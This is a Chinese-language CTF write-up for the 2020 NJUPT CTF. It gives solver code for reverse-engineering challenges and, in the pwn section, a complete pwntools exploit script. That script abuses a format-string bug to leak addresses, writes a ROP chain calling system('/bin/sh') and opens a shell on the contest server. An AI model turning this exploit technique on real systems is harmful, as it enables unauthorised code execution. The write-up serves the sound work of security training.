2020 NJUPT CTF - zstuCTF WriteUp
2020-11-21
Re
re1
逐字符加密然后比对,只要逐字符爆破即可
exp:
#include<stdio.h>
char encrypt(char a1,char a2){
char v2 = (~a2 | ~a1) & (~a2 | a1) & (a2 | a1) | (~a2 | ~a1) & (a2 | ~a1) & a2 & a1 | a2 & ~a1 | ~a2 & a1;
return (~(32 * v2) | ~(v2 >> 3)) & (~(32 * v2) | (v2 >> 3)) & (32 * v2 | (v2 >> 3)) | (~(32 * v2) | ~(v2 >> 3)) & (32 * v2 | ~(v2 >> 3)) & (32 * v2 | (v2 >> 3));
}
int main(){
char*nctf="nctf";
char flag[] = {
0xC6, 0x6A, 0xC0, 0x27, 0xEB, 0xCA, 0x65, 0x02, 0x61, 0xCA,
0x68, 0x27, 0x6B, 0xE2, 0xC0, 0xE0, 0x00, 0x80, 0x22, 0x27,
0xE1, 0xA1, 0x02, 0x27, 0x63, 0x4B, 0xA8, 0xE3
};
printf("NCTF{");
for(int i=0;i<28;i++){
char j=0;
do{
if(encrypt(j,nctf[i%4])==flag[i]){
printf("%c",j);
break;
}
j++;
}while(j>0);
}
printf("}\n");
return 0;
}
flag:NCTF{X0r_15_ve57_5trange_and_u91y}
re2
base64+xor,有手就行
exp:
re3
这题一堆反调,还有一个fake flag,太恶心了。反调手动patch后,找到两个关键函数。
通过左边的函数可以通过解方程算出来flag的下标为3,10,15的字符。然后通过自修改生成的函数开始是push ebp;mov ebp,esp
,即55 8B EC
可以计算出前三个字符,现在可以得到flag为cp1@xxxxxx_xxxx-xxxxxxxx
。
通过分析可以得出自修改得到的函数是AES_ECB加密,key是nctf2020x1c66666
。对ps2加密。
然后再通过ec1,ec2对ps2和ps3进行逐位异或,异或的内容是固定的,可以用测试数据计算出来。
将v1进行对应异或,再AES_ECB解密,填入对应位置,得到flag:cp1@plus1s_v2ey-veryha36
。
Pwn
fake_qiandao
先来一个思维导图:
函数介绍:
- choose函数:输入10字符(无溢出),然后
atol
返回,但实际只需要1或2,所以可以利用剩下的9个字符布局栈,这里是写入地址,提供给printf,实现任意地址读写。 - login函数:先输入49字符的input(data段),然后经过
base64
加密,放入长48字节的base64Input(data段)这里就存在溢出了,base64Input后面是start函数里printf
的第一个参数。刚好这里的base64
加密的字母表是A-Za-z0-9%$
,其中的%$
可以用来给printf
格式化输出。 - start函数:在login函数输入
rrrtql
会修改一次标志,标志为真时会调用printf
。
利用思路:
- 泄露栈地址、程序地址、libc地址
- 任意地址写布局栈
pop rdi -> bin_sh_addr -> system_addr -> '/bin/sh'
- 修改函数返回地址,进入布局的栈中,get shell
exp:
from pwn import *
from LibcSearcher import *
import base64
DEBUG=False
if DEBUG:
sh=process('./main')
else:
sh=connect("42.192.180.50",25004)
class MyBase64:
STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
def __init__(self, alphabet=None):
if alphabet == None:
alphabet = MyBase64.STANDARD_ALPHABET
if len(alphabet) != len(MyBase64.STANDARD_ALPHABET):
raise RuntimeError('MyBase64 init error:alphabet len should equal 64')
self.alphabet = alphabet
def encode(self, data_to_encode):
encoded = base64.b64encode(data_to_encode)
return encoded.translate(str.maketrans(MyBase64.STANDARD_ALPHABET, self.alphabet))
def decode(self, string_to_decode):
encoded = string_to_decode.translate(str.maketrans(self.alphabet, MyBase64.STANDARD_ALPHABET))
return base64.b64decode(encoded)
b64=MyBase64("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%$")
def login(text):
sh.sendlineafter('Command: ','1')
sh.sendlineafter('Plz input the key',text)
def loginBase64(text):
#对齐
if len(text)%4==1:
text+='mmm'
elif len(text)%4==2:
text+='mm'
elif len(text)%4==3:
text+='m'
login(b64.decode(text))
def start(addr=0):
sh.sendlineafter('Command: ',b'2a'+p64(addr))
r=sh.recvline()
if r==b'1. Login\n':
return ''
elif str(r,'utf-8').startswith('0x'):
r=str(r,'utf-8')
i_1=r.find('1.')
i_m=r.find('m')
if i_1==-1 and i_m==-1:
return int(r[2:],base=16)
elif i_1==-1:
return int(r[2:i_m],base=16)
elif i_m==-1:
return int(r[2:i_1],base=16)
else:
return int(r[2:min(i_1,i_m)],base=16)
else:
return r
def edit(target_addr,val):
for i in range(8):
len=(val>>(8*i))&0xff
if len==0:
text='a'*48+'%6$hhn'
else:
text='a'*48+'%'+str(len)+'c%6$hhn'
loginBase64(text)
login('rrrtql')
start(target_addr+i)
def editStr(target,s):
for i in range(len(s)):
text='a'*48+'%'+str(ord(s[i]))+'c%6$hhn'
loginBase64(text)
login('rrrtql')
start(target+i)
loginBase64('a'*48+'%6$hhn')
login('rrrtql')
start(target+len(s))
#泄露地址
loginBase64('a'*48+'%p')
login('rrrtql')
got_stack_chk_fail_addr=start()+8056
pop_rdi_addr=got_stack_chk_fail_addr-0x3FA0+0x173b
pop_2_addr=pop_rdi_addr-0x173b+0x1734+4
# 栈地址
loginBase64('a'*48+'%8$p')
login('rrrtql')
stack_addr=start()-40
#libc
loginBase64('a'*48+'%13$p')
login('rrrtql')
libc_start_main_addr=start()
if DEBUG:
libc_start_main_addr-=0xf2
else:
libc_start_main_addr-=0xf3
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
system_addr=libc.dumpb('system')
bin_sh_addr=stack_addr+8*8
edit(stack_addr+8*5,pop_rdi_addr)
edit(stack_addr+8*6,bin_sh_addr)
edit(stack_addr+8*7,system_addr)
editStr(bin_sh_addr,'/bin/sh')
print(hex(pop_2_addr))
loginBase64('a'*48+'%'+str(pop_2_addr&0xffff)+'c%6$hn')
login('rrrtql')
sh.sendlineafter('Command: ',b'2a'+p64(stack_addr+8*2))
sh.interactive()
flag:NCTF{6EEC8679F86732CA7A38E63D3B37D35A}
Misc
有手就行。。。